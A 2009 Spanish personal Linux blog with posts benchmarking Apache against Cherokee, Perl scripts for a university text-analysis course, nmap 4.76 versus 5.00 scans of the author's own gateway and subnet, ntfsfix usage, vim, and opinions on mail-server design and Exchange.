miércoles, 9 de septiembre de 2009

No sólo de Apache2 vive el hombre...




A raíz de una serie de problemas en el servidor VPS que aloja www.permuy.org, www.comunidadeozulo.org y demás, decido prescindir de Apache2. La máquina no está sobrada de RAM, y Apache2 se encarga de contribuir a ello, consumiendo nada más arrancas el servicio hasta 60Mb! Si no lo veo no lo creo!

Me habían recomendado lighttpd, pero en realidad, siempre había leído mejores críticas en cuanto a velocidad se refiere de cherokee. Por lo que he podido comprobar(a ojo) el consumo de memoria cherokee es mas bajo que el de Apache. Pero en velocidad, ni punto de comparación. Al final sigo con Apache en www.permuy.org, pero en casa y en la oficina he migrado ya ha cherokee.

¿Qué me ha gustado del Cherokee Project?
  • Facilidad de instalación: wget, configure, make y make install.
  • No tiene dependencias externas, salvo las librerías de C, claro.
  • Soporta: FastCGI, SCGI, PHP, CGI, SSI, TLS and SSL.
  • Muy rápido, tanto para servir páginas como para reiniciar el servicio.
  • Administración muy sencilla vía web a través de cherokee-admin.
  • La documentación está muy bien estructurada y muy bien redactada.
  • En GNU/Linux funciona de maravilla.
Pruebas de rendimiento.

He realizado dos pruebas con ab en Apache 2.2.x y Cherokee 0.99.24 y la verdad es que el segundo "se come" al primero. La máquina en cuestión es:
S.O : Ubuntu 9.04
Kernel : Linux alberto 2.6.28-15-generic
RAM: 1GB DDR2 533
Procesador: Intel(R) Core(TM)2 Duo CPU E4600 @ 2.40GHz

Prueba 1
Criterio: 1000 peticiones y concurrencia = 10
Resultados para Apache 2.2.11

Server Software: Apache/2.2.11
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 354 bytes

Concurrency Level: 10
Time taken for tests: 0.272 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Non-2xx responses: 1002
Total transferred: 649296 bytes
HTML transferred: 354708 bytes
Requests per second: 3670.06 [#/sec] (mean)
Time per request: 2.725 [ms] (mean)
Time per request: 0.272 [ms] (mean, across all concurrent requests)
Transfer rate: 2327.11 [Kbytes/sec] received

Resultados para Cherokee 0.99.24

Server Software: Cherokee/0.99.24
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 293 bytes

Concurrency Level: 10
Time taken for tests: 0.219 seconds
Complete requests: 1000
Failed requests: 0
Write errors: 0
Non-2xx responses: 1004
Total transferred: 544168 bytes
HTML transferred: 294172 bytes
Requests per second: 4557.68 [#/sec] (mean)
Time per request: 2.194 [ms] (mean)
Time per request: 0.219 [ms] (mean, across all concurrent requests)
Transfer rate: 2422.01 [Kbytes/sec] received


Tanto la tasa de transferencia con el tiempo empleado en realizar las peticiones son menores, si bien es cierto que con 1000 peticiones pocas conclusiones se pueden sacar, de momento Apache 0 - 1 Cherokee. Ahora vamos con la prueba 2, con 100000 peticiones y concurrencia = 10.

Prueba 2
Criterio: 100000 peticiones y concurrencia = 10
Resultados para Apache 2.2.11

Server Software: Apache/2.2.11
Server Hostname: localhost
Server Port: 80

Document Path: /drupal2
Document Length: 354 bytes

Concurrency Level: 10
Time taken for tests: 19.781 seconds
Complete requests: 100000
Failed requests: 0
Write errors: 0
Non-2xx responses: 100003
Total transferred: 64801944 bytes
HTML transferred: 35401062 bytes
Requests per second: 5055.42 [#/sec] (mean)
Time per request: 1.978 [ms] (mean)
Time per request: 0.198 [ms] (mean, across all concurrent requests)
Transfer rate: 3199.23 [Kbytes/sec] received

Resultados para Cherokee 0.99.24

Server Software: Cherokee/0.99.24
Server Hostname: localhost
Server Port: 80
Document Path: /drupal2
Document Length: 293 bytes
Concurrency Level: 10
Time taken for tests: 7.734 seconds
Complete requests: 100000
Failed requests: 0
Write errors: 0
Non-2xx responses: 100000
Total transferred: 54200000 bytes
HTML transferred: 29300000 bytes
Requests per second: 12930.18 [#/sec] (mean)
Time per request: 0.773 [ms] (mean)
Time per request: 0.077 [ms] (mean, across all concurrent requests)
Transfer rate: 6843.90 [Kbytes/sec] received

Llama mucho la atención que mientras Apache2 es capaz de "responder" poco más de 5000 peticiones por segundo, cherokee llega casi a las 13.000. Ni hablar del tiempo empleado, Apache a tardado más de 11 segundos! 11 segundo es mucho tiempo, pero mucho mucho! ¿Algo más?
Enhorabuena a Alvaro Lopez, por su gran trabajo realizado desde 2001.

miércoles, 2 de septiembre de 2009

Análisis de textos,USC,examenes...Parte II

Acabo de hablar con Rosa. Ha salido del examen oral. No sabe aún la nota, pero sí le han dicho que ha aprobado. Enhorabuena! Se ha hecho justicia!

Análisis de textos,USC,examenes...

"Me comenta mi hermana que tiene una asignatura de Linux, una optativa, la ha suspendido y me comentaba si le podrías echar una mano". Así comenzaba una de las mayores sorpresas de este año. La respuesta estaba cantada, "Dile que me llame, tomamos algo y lo hablamos...". Lo dicho, quedamos y me comenta Rosa "Teño unha asignatura de Linux, facemos cousas na consola e non teño nin idea. O exame será oral a comezos de setembro, mira esta páxina web http://gramatica.usc.es/~gamallo/ , que é donde tes a información sobre a Análise Computadorizada de Textos Hispánicos". Mi sopresa es mayúscula cuando reviso el contenido del curso. El docente les ha enseñado Perl, para extraer información de cualquier texto. La frustración de Rosa : ponerse a programar,;y claro, si estudias Hispánicas, comprendo la frustración es más que comprensible.
El examen oral está disponible aquí, y según me comenta, se deben explicar los scripts el día del examen.
¿Cómo analiza un texto? Lo primero que hace es "tokenizar" el texto, es decir, escribir en cada línea una palabra.El docente les ha dejado un script, llamado tokenizer.perl, que realiza esta tarea. Ejemplo con el fichero texto.txt que contiene "Ni nombre Alberto" tendríamos un fichero de salida del tipo:
[alberto@pilarrubio]cat texto.txt|./tokenizer.perl > texto.tokenizado && cat texto.tokenizado.

Mi
nombre
es
Alberto

El contenido del fichero tokenizer.perl es el siguiente:

#!/usr/bin/perl -w


#Tokenizer:
#lê um ficheiro texto linha a linha
#Separa os símbolos especiais
#quebra as linhas cada vez que encontra um espaço em branco
#escreve um tokem ou símbolo por linha

$Separador = "[\.\,\;\:\«\»\&\%\+\=\$\(\)\<\>\!\¡\?\¿\\[\\]]" ;

while ($line=) {
chop($line);

$line =~ s/($Separador)/ $1 /g;
#$line =~ s/\s+/ /g;


@ListaDeTokens = split(" ", $line);
foreach $token (@ListaDeTokens) {

print "$token\n";

}
}


print STDERR "Fim do tokenizer\n";



El problema viene cuando nos pide que en un texto se distinga entre nombres propios, verbos y demás. Para ello, después de tener el texto "tokenizado", debemos "Taggearlo" con una aplicación de análisis morfológio llamada FreeLing, desarrollada por el Centre de Tecnologies i Aplicacions del Llenguatge i la Parla (TALP). He intentado instalarlo en Ubuntu 9.04 y en Debian 5.0 Testing, pero lamentablemente el link de descarga no funcionaban. Decidí ponerme en contacto con la gente del TALP, y tengo que decir, que, aunque no se ha resuelto aún el problema, la respuesta ha sido muy rápida. Así da gusto. Continuamos. Al final, gracias a Dorfun encontré FreeLing empaquetado en .deb en esta URL.
Taggeamos el texto:
[alberto@pilarrubio] cat texto.tokenizado|freeling-es > texto.tagged
cuyo resultado es un texto de nombre texto.tagged con el siguiente contenido.

PRO Mi
NOM nombre
V es
NOM Alberto


A continuación ya tenemos el texto tagged y podemos filtrar por el criterio que nos pida el docente, en este caso, o que el usuario decida.El enunciado del ejericio 4 es el siguiente:

4.-Cuenta y escribe de mayor a menor frecuencia todos los nombres propios.


El comando, después de tener taggeado el texto sería algo así:
[alberto@pilarrubio] cat texto.tagged |.04.perl
Donde 04.perl :

#!/usr/bin/perl
$token="";
while ($linha = ) {
chomp $linha;
if ($linha ne "") {
($token,$etiqueta) = split (" ", $linha) ;



if ($etiqueta =~ m/^NOM/ ) {
$contarNomes++;
$contar{$token}++ ;
}

}


}

if (defined $contarNomes) {
print "Ocorrencias de nomes: $contarNomes\n";
}
foreach $tokenDiff (sort {$contar{$b} <=>
$contar{$a} }
keys %contar ) {

print "$tokenDiff\t$contar{$tokenDiff}\n";
}



Si tenéis curiosidad por el tema , os remito a la web de Pablo Gamallo, el docente del curso. La casualidad me lleva a leer vía RSS una noticia que anuncia un curso de verano de la USC : "O Software Libre e a Lingüistica".
Para finalizar el post, dar mi enhorabuena al docente, que , en mi modesta opinión, se ha currado mucho el temario del curso, no tanto por la calidad de los scripts, que sí la tiene, sino por la aplicación de un lenguaje de programación, Perl, en este caso, al análisis lingüístico de textos. En segundo lugar agradecer a Rosa la oportunidad de poder ayudarla a, por lo menos, intentar aprobar la asignatura. Ahora mismo la deben de estar examinando. No suelo desear suerte a nadie en ningún examen, sólo justicia, y si se hace justicia debe aprobar: el esfuerzo (casi) siempre tiene recompensa.

Cambios en el blog

En la vida hay que ser justos, por eso he decidido quitar el logo de GNU. No sería justo "alardear" de gnuismo y demás, si uso MacOSX,FreeBSD,Debian GNU/Linux y Ubuntu.Por eso ha cambiado el Ñu por el clásico Live Free or Die de Unix. Esto no cambia mi modo de pensar ni de actuar, simplemente hablamos de ser justos.

miércoles, 19 de agosto de 2009

Nmap 5.0, actualízate si puedes.

No es la primera vez en este blog que hablo sobre Nmap. En la oficina uso Ubuntu 9.04, he tenido que aparcar Debian Testing/Unstable por haber metido la pata mezclando repositorios y compilando y recompilando kernels. El caso es que necesitaba usar nmap para hacer "unas cosillas". Todo correcto; ya conocía este software desde hace muchos años. No sé por qué, me daba la impresión de que el tiempo de espera para los escaneos era demasiado. Comprobemos la versión instalada.

root@alberto:/# /usr/bin/nmap -V

Nmap version 4.76 ( http://nmap.org )

Ahora toca visitar la web de nmap[ http://insecure.org/nmap ] , para comprobar cual es la última versión. Efectivamente, han liberado la versión 5.0, que como es de esperar se puede descargar desde la propia web. Llegados a este punto, la pregunta es: ¿Debo instalar la versión 5.0? ¿Qué mejoras existen respecto a la versión 4.x? Nmap está muy bien documentado, y podéis ver más información acerca de la versión 5.0 aquí. Todo esto está muy bien, pero en la práctica...
He realizado unas pruebas muy sencillas para comprobar en persona, las diferencias en la versión 5.0 y 4.76-0ubuntu4, que básicamente han consistido en:
  • Descargar fuentes y compilar nmap 5.0
  • Escaneo gateway(nmap sin parámetros)
  • Escaneo Sistema Operativo del gateway (nmap -O)
  • Escaneo Sistema Operativo y version del software del gateway (nmap -A -T4)
Compilando nmap.
Muy sencillo. Los pasos son los siguientes:
  • Descargamos fuentes:

[root@alberto] wget http://nmap.org/dist/nmap-5.00.tar.bz2

  • Descomprimimos y desempaquetamos

[root@alberto] tar -xjpf nmap-5.00.tar.bz2

  • Compilamos e instalamos

[root@localhost]./configure && make && make install


Llegados a este punto, tenemos el binario de la version 5.00 en /usr/local/bin/nmap y el de la version 4.76 en /usr/bin/nmap.

root@alberto:/# /usr/bin/nmap -V

Nmap version 4.76 ( http://nmap.org )

root@alberto:/home/alberto# /usr/local/bin/nmap -V

Nmap version 5.00 ( http://nmap.org )


Ya podemos comenzar...

Escaneo gateway(nmap sin parámetros)

Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 100.100.100.100

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:37 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)

Nmap done: 1 IP address (1 host up) scanned in 4.18 seconds

real 0m4.194s
user 0m0.236s
sys 0m0.036s

Resultados con la versión 5.00:
root@alberto:/# time nmap -e eth0 100.100.100.100

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:36 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)

Nmap done: 1 IP address (1 host up) scanned in 4.95 seconds

real 0m4.956s
user 0m0.224s
sys 0m0.032s

Llama la atención que la versión 5.00 ha tardado 0,77 segundos más que la 4.76. En principio la 4.76 se anotaría el primer punto. Personalmente creo que no, ya lo explicaré más adelante.Vemos que ha identificado bien el modelo del gateway y poco más podemos extraer(si buscarle los tres pies al gato, claro).

Escaneo Sistema Operativo del gateway (nmap -O)
Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 -O 100.100.100.100

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:38 CEST
Insufficient responses for TCP sequencing (2), OS detection may be less accurate
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Aggressive OS guesses: Check Point ZoneAlarm Z100G firewall (88%), Actiontec GT701 DSL modem (87%), HP Brocade 4100 switch; or Actiontec MI-424-WR, Linksys WRVS4400N, or Netgear WNR834B wireless broadband router (87%), F5 BIG-IP Local Traffic Manager load balancer (87%), HP 4200 PSA (Print Server Appliance) model J4117A (87%), DD-WRT v23 (Linux 2.4.34) (87%), MontaVista Linux 2.4.17 (87%), Telkom Mega 100 WR DSL modem (Linux 2.4.17_mvl21-malta-mips_fp_le) (87%), FreeBSD 6.2-RELEASE (87%), OpenBSD 4.3 (87%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.96 seconds

real 0m8.979s
user 0m0.388s
sys 0m0.064s


Resultados con la versión 5.00

root@alberto:/# time /usr/local/bin/nmap -e eth0 -O 100.100.100.100

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:38 CEST
Interesting ports on 100.100.100.100:
Not shown: 998 filtered ports
PORT STATE SERVICE
113/tcp closed auth
541/tcp open uucp-rlogin
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Device type: firewall
Running: Fortinet embedded
OS details: Fortinet FortiGate-100A firewall
Network Distance: 1 hop

OS detection performed. Please report any incorrect results at http://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.30 seconds

real 0m6.319s
user 0m0.432s
sys 0m0.104s


Primer punto para la versión 5.00. En realidad, a mi modo de ver, este vale por dos. 2,66 segundos menos en detectar la versión del S.O! Aún encima la ha clavado:

OS details: Fortinet FortiGate-100A firewall

Esto no es mérito sólo de Fyodor(programador principal del proyecto), sino de la gente que se ha currado libpcap. Libpcap es una librería que capturar paquetes en redes de datos para plataformas tipo Unix(también en Sistemas Windows). La versión de esta librería en nmap 4.76 es la 0.8:

root@alberto:/tmp# ldd /usr/bin/nmap
linux-gate.so.1 => (0xb80dd000)
libpcre.so.3 => /lib/libpcre.so.3 (0xb8097000)
libpcap.so.0.8 => /usr/lib/libpcap.so.0.8 (0xb8066000)
libssl.so.0.9.8 => /lib/i686/cmov/libssl.so.0.9.8 (0xb801e000)
libcrypto.so.0.9.8 => /lib/i686/cmov/libcrypto.so.0.9.8 (0xb7ed2000)
libdl.so.2 => /lib/tls/i686/cmov/libdl.so.2 (0xb7ece000)
libstdc++.so.6 => /usr/lib/libstdc++.so.6 (0xb7ddf000)
libm.so.6 => /lib/tls/i686/cmov/libm.so.6 (0xb7db9000)
libgcc_s.so.1 => /lib/libgcc_s.so.1 (0xb7da9000)
libc.so.6 => /lib/tls/i686/cmov/libc.so.6 (0xb7c46000)
libz.so.1 => /lib/libz.so.1 (0xb7c30000)
/lib/ld-linux.so.2 (0xb80de000)

, mientras que en la versión de nmap 5.00 es la 0.97:

root@alberto:/media/bodega/misc/nmap-5.00/libpcap# cat CHANGES |head
@(#) $Header: /tcpdump/master/libpcap/CHANGES,v 1.59.2.11 2007/07/24 02:27:32 mcr Exp $ (LBL)

Wed. July 23, 2007. mcr@xelerance.com. Summary for 0.9.7 libpcap release
(...)

Es de suponer que las mejoras, a parte de los bug-fix, son considerables. Enhorabuena a la gente de TCPDUMP.

Escaneo S.O y versión del software del gateway (nmap -A -T4)
Resultados con la versión 4.76:

root@alberto:/# time /usr/bin/nmap -e eth0 -sP 100.100.100.0/24

Starting Nmap 4.76 ( http://nmap.org ) at 2009-08-19 13:43 CEST
Host 100.100.100.5 appears to be up.
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Host 100.100.100.12 appears to be up.
MAC Address: 00:50:56:A9:4D:AB (VMWare)
Host 100.100.100.19 appears to be up.
MAC Address: 00:0B:CD:1B:85:4D (Sun)
Host 100.100.100.61 appears to be up.
MAC Address: 00:50:AA:20:61:83 (Konica Minolta Holdings)
Host 100.100.100.64 appears to be up.
MAC Address: 00:00:74:93:DA:76 (Ricoh Company)
Host 100.100.100.118 appears to be up.
MAC Address: 00:33:64:B9:8A:C8 (Sun)
Host 100.100.100.153 appears to be up.
MAC Address: 00:50:56:A9:59:98 (VMWare)
Host 100.100.100.202 appears to be up.
MAC Address: 00:33:64:B9:9A:E9 (Unknow)
Host 100.100.100.204 appears to be up.
MAC Address: 00:33:64:B9:96:96 (Unknow)
Host 100.100.100.212 appears to be up.
MAC Address: 00:33:64:B9:94:1A (Unknow)
Host 100.100.100.214 appears to be up.
MAC Address: 00:33:64:B9:9A:E8 (Unknow)
Host 100.100.100.225 appears to be up.
MAC Address: 00:33:64:B9:91:91 (Unknow)
Host 100.100.100.239 appears to be up.
MAC Address: 00:50:56:A9:1A:B8 (VMWare)
Nmap done: 256 IP addresses (13 hosts up) scanned in 12.07 seconds

real 0m12.087s
user 0m0.212s
sys 0m0.016s

Resultados versión 5.00:

root@alberto:/# time /usr/local/bin/nmap -e eth0 -sP 100.100.100.0/24

Starting Nmap 5.00 ( http://nmap.org ) at 2009-08-19 13:43 CEST
Host 100.100.100.5 is up (0.00033s latency).
MAC Address: 00:09:0F:37:F0:C6 (Fortinet)
Host 100.100.100.12 is up (0.00054s latency).
MAC Address: 00:50:56:A9:4D:AB (VMWare)
Host 100.100.100.19 is up (0.00023s latency).
MAC Address: 00:0B:CD:1B:85:4D (Hewlett Packard)
Host 100.100.100.61 is up (0.0090s latency).
MAC Address: 00:50:AA:20:61:83 (Konica Minolta Holdings)
Host 100.100.100.64 is up (0.00041s latency).
MAC Address: 00:00:74:93:DA:76 (Ricoh Company)
Host 100.100.100.118 is up (0.00022s latency).
MAC Address: 00:33:64:B9:8A:C8 (Hewlett Packard)
Host 100.100.100.153 is up (0.00056s latency).
MAC Address: 00:50:56:A9:59:98 (VMWare)
Host 100.100.100.202 is up (0.00028s latency).
MAC Address: 00:33:64:B9:9A:E9 (Hewlett Packard)
Host 100.100.100.204 is up (0.00023s latency).
MAC Address: 00:33:64:B9:96:96 (Hewlett Packard)
Host 100.100.100.212 is up (0.00018s latency).
MAC Address: 00:33:64:B9:94:1A (Hewlett Packard)
Host 100.100.100.214 is up (0.00017s latency).
MAC Address: 00:33:64:B9:9A:E8 (Hewlett Packard)
Host 100.100.100.225 is up (0.00025s latency).
MAC Address: 00:33:64:B9:91:91 (Hewlett Packard)
Host 100.100.100.239 is up (0.0097s latency).
MAC Address: 00:50:56:A9:1A:B8 (VMWare)
Nmap done: 256 IP addresses (13 hosts up) scanned in 12.40 seconds

real 0m12.401s
user 0m0.140s
sys 0m0.008s


Apenas 0,37 segundos más a tardado la versión 5.00 en realizar el escaneo. Sí ha dado en el clavo.La mayoría de las máquinas son HP, y no Unknow con no "dice" la versión 4.76.

Resumiendo, me quedo con la versión 5.00. Usar repositorios, a veces, es lo que tiene, puedes seguir con una versión obsoleta de un software, que aparentemente funciona bien, tiempo y tiempo. Todos(o casi todos) sabemos, conocemos o hemos oído hablar de las ramas experimentales en Debian; pero nunca tendremos software "tan fresco" como si lo descargamos y compilamos de la web de los desarrolladores. Bondades y maldades del software libre.

lunes, 17 de agosto de 2009

Mis Feeds

He actualizado mis feeds. Si os interesa podéis descargarlos de esta URL.

miércoles, 12 de agosto de 2009

Pendrives y NTFS

Aún no sé bien por qué uso NTFS como sistema de ficheros en mis pendrives. En Mac OSX tengo soporte para EXT3; entonces, no debería utilizarlo. Supongo que será por si tengo que llevar algún documento a la copistería, o intercambiar ficheros con lusers. El caso es que un pendrive que uso a menudo, al intentar montarlo en Debian GNU/Linux o Ubuntu, Gnome me invita amablemente a que lo inserte en una máquina Windows y ejecute el famoso chkdsk(Checkdisk). Cómo no me parecía una solución demasiado ética, por cuestiones obvias, me puse a buscar información y encontre la herramienta ntfsfix. No estoy seguro, pero supongo que esta herramienta forma parte de ntfsprogs. Como dice en su página del manual, ntfsfix corrige errores comunes en NTFS, pero no es una versión para Linux de chkdsk. Sólo repara inconsistencias.
Ejemplo de uso:

root@alberto:/home/alberto# ntfsfix /dev/sdf1
Mounting volume... FAILED
Attempting to correct errors...
Processing $MFT and $MFTMirr...
Reading $MFT... OK
Reading $MFTMirr... OK
Comparing $MFTMirr to $MFT... FAILED
Correcting differences in $MFTMirr record 0...OK
Processing of $MFT and $MFTMirr completed successfully.
Setting required flags on partition... OK
Going to empty the journal ($LogFile)... OK
NTFS volume version is 3.1.
NTFS partition /dev/sdf1 was processed successfully.


Por cierto, sí forma parte de ntfsprogs, al final de la página del manual indica: ntfsfix is part of the ntfsprogs package(...)

martes, 11 de agosto de 2009

vim

Al principio fue la línea de comandos...y usaba vi. Me parecía un coñazo, "Demasiado complicado", me decía a mí mismo. Recuerdo que en un intento frustado de cursar el LPI, en el 2001, me presentaron a Nano; no a Nano el compañero de Bilo, sin al editor. Me parecía fácil de usar.Hasta hace un año, cuando me preguntaba qué editor usaba en el terminal, respondía "Nano", y muchos "talibanes" se llevaban las manos a la cabeza, y con más "desprecio que razón" exclamaban "Pero si eso es para nenazas, no conoces vi", "Sí.",respondía,"pero Nano me parece sencillo y cumple todas(las pocas) funciones que necesito." Después de este largo caminar por el Lado Oscuro de los editores, hace un año, he vuelto a vi, mejor dicho a vim. La razón principal, pese a tener una curva de aprendizaje más elevada, en mi opinión,es un editor más completo que Nano. Me gusta mucho, por ejemplo, que puedas ejecutar comandos directamente en el editor(desconozco si Nano lo hace); o lo bien que funciona con expresiones regulares. Esta mañana he visitado la web de vim(versión mejorada de vi), la entrada de la Wikipedia. He encontrado una Guía de Referencia Rápida en castellano, recomendada para los osados que quieran dejar el Lado Oscuro de los editores...

lunes, 10 de agosto de 2009

De vuelta...

Después de 15 días de vacaciones, estoy de vuelta en Compostela. Sin lugar a dudas me ha venido bien el descanso, aunque apenas me he separado del portátil. La conexión 3G cunde mucho, sobre todo si te desplazas: me he conectado desde Compostela,Mugardos,Ponferrada,Santander... y me ha servido para estar al día, revisar correo y demás. Dentro de un mes volveré a estar de nuevo ocioso, 6 días, los últimos del año ya, pero pensando más que nada en la VI Edición del Kernel 2009.

Sé que no he escrito mucho durante los últimos dos meses, y anoto en mi mente ponerme al día con el blog...que pronto cumplirá dos años, y sería una pena perder la buena y sana costumbre de escribir. Sí tengo cosas interesantes que decir y contar. Ayer de noche, repasaba un número atrasado de Todo Linux, y leí de la existencia de un paquete llamado libtrash, que es la Papelera de Reciclaje, pero para la consola. Hoy por la mañana, tenía pensado escribir algo sobre este paquete, pero he encontrado en la red cosas tan interesantes como esta.
Otra perla con la que me he topado esta mañana ,es un libro : "Implementación de Servidores GNU/Linux" , de Joel Barrios, un clásico entre los clásicos, siempre presente en cualquier documentación o manual sobre GNU/Linux.Se puede descargar una copia en esta URL.
De momento, esto es todo!

lunes, 3 de agosto de 2009

Reflexiones, DMZs, Postfix y libertad...

Este post es una respuesta a un email que me ha enviado un amigo las semana pasada. Muchas líneas son opiniones personales,otras reflexiones sobre lecturas
recientes, otras...
Reflexiones, DMZs, Postfix y libertad...
Con la poca información que me has dado, me atrevo, ya sabes que la ignorancia tiene la virtud del atrevimiento, a dividir las cuestiones que formulas en dos partes: la primera, a la que denominaré "Eliminar y exponer", y la segunda, “Razones rápidas por las que no implementar Exchange”.

Eliminar y Exponer

Resulta curioso, pero sería yo quien formularía la pregunta ¿Por qué eliminarlos? ¿Rendimiento? ¿Mal o pésimo funcionamiento? ¿Mantenimiento? ¿Coste? Si la única pregunta que en este contexto tiene sentido es la última, tienes un problema; si dudan en alguna de las anteriores, si son personas sensatas, por lo menos vamos a intentarlo.

En primer lugar, y dejando a un lado si el S.O de la máquina que hace relay es GNU/Linux o no, personalmente jamás expondría una maquina corriendo Microsoft Windows a Internet, pudiendo evitarlo. Es más, jamas expondría una máquina a Internet pudiendo evitarlo, en todo caso, para eso se diseñan las DMZs, y máxime si la solución alternativa es una o varias máquinas corriendo algún sabor UNIX y con alguna licencia libre y gratuíta. Los motivos a continuación:
Estabilidad: El diseño de un S.O Unix/Linux dista años luz de un S.O Microsoft. Unix es C, C es robuztez y estabilidad. Unix es un conjunto de aplicaciones pequeñas y simples, que cumplen una sola función y lo hacen bien, por ejemplo iptables o fetchmail. Microsoft Windows, sin embargo está y por lo que se deduce, estará, encadenado a ficheros .exe y actualizaciones dependientes del trabajo de un único grupo de programadores asalariados. Es cierto que con los “Boletines del Segundo Martes” intentan acercarse al ritmo de desarrollo y corrección de bugs de S.O GNU/Linux tipo Debian o Red Hat, o BSD como FreeBSD, todo indica a que su trabajo está orientado a un simple Service Pack cada X meses o años.


Mantenimiento: Una maquina Unix requiere de unos conocimientos mínimos de Administración para que las funciones que realice, las haga bien. Una vez configurada, pueden pasar años hasta que requiera un mantenimiento que se aleje del típico de la actualización de software y parches de seguridad. En multitud de ocasiones, una máquina Unix mal configurada por un/unos Administradores con conocimientos escasos del software con el que están trabajando, puede dar la impresión de necesitar más tareas o tiempo de mantenimiento que una máquina corriendo Microsoft Windows: nada más lejos de la realidad. Visite netcraft.com y o top500.org y podrá comprobar que tienen en común el 88% de los 500 computadores más “potentes” del momento: un S.O Linux. ¿Casualidad? No creo que DELL, NASA se basen en casuísticas para el elegir el S.O de sus Servidores.
Seguridad: Partiendo de la base de que ningún S.O es seguro si está conectado a una red de computadores, me gustaría hacer incapié que el concepto de Seguridad Informática es un proceso continuo y lineal, en contraposición a una series de medidas puntuales, como por ejemplo, añadir una cadena -j DROP a iptables para que “impedir que megano haga pings a fulano”. En palabras de J.Pérez Agudín “La seguridad ha de ser entendida como un equilibrio, la inversión en seguridad ha de estar a la altura de la importancia de la información a proteger”. Volviendo al eterno dilema de por qué Linux es más seguro que Microsoft Windows, me gustaría comentar:
Desarrollo continuo: la comunidad de desarrolladores trabaja a diario publicando parches y liberando nuevas versiones. No hay necesidad de esperar a que una empresa considere oportuno “vender” un nuevo producto para tener software actualizado.
Mejor diseño de S.O de base. Nos referimos en la práctica, a que por ejemplo, ante una vulnerabilidad en Postfix, si un usuario pudiese supuestamente tomar el control de la máquina, sólo lo haría con el usuario con el que se ejecute el proceso, es lo que se conoce como CHROOT o jaulas de usuario. En Microsoft Windows también es posible, pero no se ejecutan por defecto todos los procesos con usuarios diferentes.
Diversidad de Entornos: El núcleo de Windows Server es el mismo para las distintas versiones, por lo que en la práctica resulta muy sencillo aplicar un exploit a dichas versiones. Sin embargo, dada la diversidad de versiones, tanto de BSD como de Linux, un exploit en Fetchmail puede causar distintos daños o nulos dependiendo del entorno, fundamentalmente en versiones del Kernel y del software de las herramientas de seguridad configuradas en la (SELinux o AppArmor de Novell).


Dejando a un lado la disyuntiva Windows vs Unix, me gustaría dedicar unas líneas a comentar el supuesto caso de exponer una máquina a la red Internet. ¿Se puede evitar ? A mi modo de ver, la respuesta es : Sí. Un sí rotundo. En este caso concreto hablamos de una máquina que recibirá el correo directamente desde los servidores SMTP del remitente. Se presupone que el nuevo (re)diseño de la arquitectura de red resultante debe como mínimo superar las prestaciones del anterior, prestando atención, a mi modo de ver, a los siguientes puntos.

Ancho de Banda: En ningún caso, en mi opinión , se debería conectar una maquina que sirva SMTP a una línea convencional, tipo ADSL o Cable, al tratarse de líneas asíncronas no se garantiza en ningún momento un caudal mínimo, que garantice un servicio fiable. Mi recomendación son líneas simétricas de datos , SHDSL o similares.
Direccionamiento: Se presuponen unos requisitos mínimos en la calidad del servicio de la nueva instalación. El direccionamiento Ipv4 de los actuales ISP deja mucho que desear. Compruebe una dirección IP al azar de la red 0.Red-217-127-182.staticIP.rima-tde.net, podrá comprobar como “se mezclan” en el pool de direcciones tanto direcciones públicas para usuarios domésticos como usuarios de perfil empresarial. ¿ Cree realmente que este rango estará totalmente limpio en listas RBL? Mi opinión es que no.

Mantenimiento: Imagine que en un momento dado, su router cabecera, el que envía los paquetes al Firewall para que los procese y los enrute hacia su máquina de correo, recibe del orden de 15.000 correos por minuto. ¿Qué haría en este supuesto? ¿ Dispone de los activos de red necesarios para bloquear automáticamente este tráfico? ¿ Dispone de los recursos humanos necesarios para solucionar esta incidencia? En mi opinión, a no ser que el número de usuarios superase los miles(4.000 usuarios por ejemplo), confiaría la recepción del correo electrónico a un proveedor de Hosting: Arsys, Dinahosting, 1&1...etc. A menudo, estas empresas gestionan sus propios Sistemas Autónomos

“Razones rápidas por las que no implementar Exchange”.
“Exclavitud empresarial”. Si se utilizan aplicaciones liberadas bajo estándares abiertos, las actualizaciones y parches de seguridad las tendrá disponibles de forma libre y gratuíta. Por el contrario si elige Exchange Server, Microsoft Corporation no le garantizará bajo ningún concepto la frecuencia de actualizaciones, ni mucho menos, el código fuente de la aplicación. No sólo para poder modificar el código, sino para poder compilarlo específicamente para su arquitectura y “sacar” el verdadero rendimiento de la aplicación que elija como su software de Servidor SMTP.
Económicas. Impensable pagar por las diferentes versiones de una aplicación. Es más, Postfix por ejemplo, sólo libera una versión de su aplicación; virtud o defecto. Mi opinión es que es una virtud; que combina flexibilidad, al poder adaptarse tanto grandes despliegues, como a pequeños componentes de hardware, tipo routers o access points.

